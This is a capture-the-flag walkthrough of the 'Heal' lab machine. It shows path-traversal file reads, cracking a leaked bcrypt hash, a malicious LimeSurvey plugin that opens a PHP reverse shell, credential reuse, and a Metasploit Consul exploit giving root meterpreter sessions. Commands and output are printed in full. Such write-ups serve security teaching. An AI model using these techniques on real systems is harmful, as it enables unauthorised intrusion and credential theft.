Heal
Heal is a medium difficulty Linux machine. This box only has two TCP ports open, ssh and http. The webpage has three different subdomains. One of them is vulnerable to a file disclosure which allows us to download an sqlite3 database that contains a hashed password. Using hashcat we are able to crack it which grants us access to a LimeSurvey instance. By installing a malicious plugin we are able to include a php reverse shell which grants us access to the server. Enumerating the config files gives us access to a user’s credential. Root is running the consul service which can be used to create a reverse shell as this super user.
NMAP
We can start solving this box by doing an nmap scan which reveals that there are only two open TCP ports SSH and HTTP on ports 22 and 80 respectively.
1
2
3
4
5
6
7
8
9
10
cat nmap/allports
# Nmap 7.94SVN scan initiated Mon Jul 28 17:57:00 2025 as: nmap -p- --min-rate 5000 -Pn -n -oN nmap/allports 10.10.11.46
Nmap scan report for 10.10.11.46
Host is up (0.061s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Mon Jul 28 17:57:15 2025 -- 1 IP address (1 host up) scanned in 14.85 seconds
Since the only real attack surface is HTTP we can go view the website. We are redirected to http://heal.htb. Since our DNS does not recognize this name we must add it manually to our /etc/hosts
file. Once this is done we can start enumerating the website. This website is used to make some resume for job applications by turning an html form into PDF using wkhtmltopdf
.
The website’s main page is a login form we do not have an account but the site also has the option to register a user. After making a new user we can login which gives us access to the resume making endpoint. These sites are usually vulnerable to a server side template injection as they process raw html data into pdf. For example, we could inject an iFrame that loads a file from the server. I tried common injections but this only results in the server crashing so I think there must be a filter blocking these injections.
If we try exporting a simple resume to pdf we can see that the page makes a request to the following subdomain: api.heal.htb
. After adding this new subdomain to our /etc/hosts
file we can browse to it and we are presented with the following page:
It seems like the website is using ruby on rails.
File Disclosure
If we go back to exporting the resume to pdf we can see that the site makes a total of three requests. First a POST request to http://api.heal.htb/exports
then a weird OPTIONS request to http://api.heal.htb/download?filename=7ff7c322bd19e79e5f88.pdf
and finally a GET request to the same endpoint. We can see that the file name being used is a hash or at least it is randomly generated which prevents us from performing an IDOR attack. From the request URL we can see that the filename parameter looks potentially vulnerable to a arbitrary file read. Changing the file name to ../../../../../etc/passwd
results in the server sending us its passwd
file. This confirms that we can read files from the server.
From this file we can see that there are a total of three users with a shell on this server; root, ron and ralph. I tried to view sensitive files like their private ssh keys which are usually stored in /home/user/.ssh/id-rsa
but none of these users had them available or I did not have the privileges to do so as I kept getting the following response:
1
2
3
{
"errors":"File not found"
}
Finding the Gemfile
With the capability of reading files I try to find sensitive files that would allow me to get some passwords to log in as ron or ralph. I found this nice blog post that shows the directory structure of a ruby on rails installation. For a ruby application the Gemfile usually contains nice information. I try to search for the Gemfile by going back some directories. I was able to get a hit two directories down. The Gemfile revealed that a sqlite3 database was being used.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
source "https://rubygems.org"
ruby "3.3.5"
# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 7.1.3", ">= 7.1.3.4"
# Use sqlite3 as the database for Active Record
gem "sqlite3", "~> 1.4"
gem 'jwt'
gem 'bcrypt', '~> 3.1.7'
gem 'imgkit'
gem 'rack-cors'
gem 'rexml'
#<SNIP>
To find the database name I read the file inside config/database.yml
which revealed the path and database name.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# config/database.yml
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
Leaking the Database Contents
Following this I read the contents of storage/development.sqlite3
you could copy the contents but since the file is very small it can easily be seen that there is only one other user other than us in the website, ralph which is an Administrator. I copied his hash and used hashcat’s bcrypt mode to crack them as this was the hashing algorithm specified in the Gemfile.
1
2
hashcat 'ralph:$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' /usr/share/wordlists/rockyou.txt -m 3200 --user --show
ralph:147258369
With this set of credentials we can log in as an administrator on the main webpage but this does not open any new endpoints that we can abuse to gain RCE. I also tried to ssh with this password as the user ralph but this did not work.
Discovering the Survey Subdomain uses LimeSurvey
On the main webpage we can see a survey page that allows us to submit a survey on another subdomain take-survey.heal.htb
this survey subdomain is running LimeSurvey, this can be confirmed by looking at the source code
Creating the Malicious Plugin
LimeSurvey has an admin portal, since we have some credentials we can try to log in at the http://take-survey.heal.htb/admin
page. The credentials work and we can now access the admin portal which allows us to upload a malicious plugin that contains a php reverse shell. To do this go to Configurations->Settings->Plugins
, from this page we can install and activate plugins to craft a malicious plugin I used this github repository. I changed the IP and ports numbers of the reverse shell and zipped the contents using the following command:
1
2
3
4
git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
cd Limesurvey-RCE
vim php-rev.php -> changed IP and port numbers
zip -r plugin.zip .
We can now upload this zip file to Limesurvey. Remember to activate the plugin after uploading it. Once the plugin is up and running we can then navigate to http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php
to trigger the reverse shell. Also remember to set up a listener on the port you specified.
1
2
3
4
5
6
7
8
9
10
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.46] 59306
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
16:23:25 up 1 day, 27 min, 0 users, load average: 0.07, 0.04, 0.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Finding Ron’s Password
As www-data does not have many privileges I try to find some credentials that would allow me to login as one of the two users in the box. I end up finding some database credentials that are also valid for the ron user. This configuration file can be found inside of /var/www/limesurvey/application/config/config.php
1
2
3
4
5
6
7
8
9
10
11
12
13
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
<SNIP>
)
)
Privilege Escalation
We can now ssh as ron with the following credentials ron:AdmiDi0_pA$$w0rd
. To gain root privileges I found that root is running some process on some local ports.
1
2
ps aux | grep root
root 1766 0.5 2.7 1360036 110140 ? Ssl Jul28 8:37 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.
Consul is used and is being as root so what is consul?
1
2
3
Consul is a tool by HashiCorp used for service discovery, health checking, and secure service
communication in distributed systems. It helps services find each other and communicate
reliably across dynamic infrastructure.
Viewing the documentation we can see what ports this services uses and we can see that they are the same ports that this server has listening in localhost.
To access this service we must add a port forward that forwards port 8500 back to us. This is because this service is only listening inside the machine and we are not able to access it from outside. Port forwarding allows us to interact with these services from our own machine. To perform this port forward we can hit Enter + ~C
to enter ssh command line and then add the portforward with -L 8500:localhost:8500
This will forward port 8500 to us which is used to interact with the service.
We can then use msfconsole’s multi/misc/consul_service_exec exploit to grant us a root shell. The options I used can be found below. They are mostly default with the main change that RHOSTS is localhost as we had to use portforwarding.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Module options (exploit/multi/misc/consul_service_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ACL_TOKEN no Consul Agent ACL token
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, sapni, socks5h, http
RHOSTS localhost yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8500 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
We can the run this exploit and get the root shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[msf](Jobs:0 Agents:0) exploit(multi/misc/consul_service_exec) >> run
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 10.10.14.10:4444
[*] Creating service 'AlJxM'
[*] Service 'AlJxM' successfully created.
[*] Waiting for service 'AlJxM' script to trigger
[*] Sending stage (1062760 bytes) to 10.10.11.46
[*] Meterpreter session 1 opened (10.10.14.10:4444 -> 10.10.11.46:58610) at 2025-07-29 18:52:40 +0200
[*] Removing service 'AlJxM'
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Session 1 created in the background.
[*] Exploiting target ::1
[*] Started reverse TCP handler on 10.10.14.10:4444
[*] Creating service 'WExXqeA'
[*] Service 'WExXqeA' successfully created.
[*] Waiting for service 'WExXqeA' script to trigger
[*] Sending stage (1062760 bytes) to 10.10.11.46
[*] Meterpreter session 2 opened (10.10.14.10:4444 -> 10.10.11.46:36880) at 2025-07-29 18:52:52 +0200
[*] Removing service 'WExXqeA'
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Session 2 created in the background.
[msf](Jobs:0 Agents:2) exploit(multi/misc/consul_service_exec) >> sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux root @ 10.10.11.46 10.10.14.10:4444 -> 10.10.11.46:58610 (127.0.0.1)
2 meterpreter x86/linux root @ 10.10.11.46 10.10.14.10:4444 -> 10.10.11.46:36880 (::1)
[msf](Jobs:0 Agents:2) exploit(multi/misc/consul_service_exec) >> sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/) > shell
Process 80852 created.
Channel 1 created.
whoami
root
cat /root/root.txt
7ce496fc6<SNIP>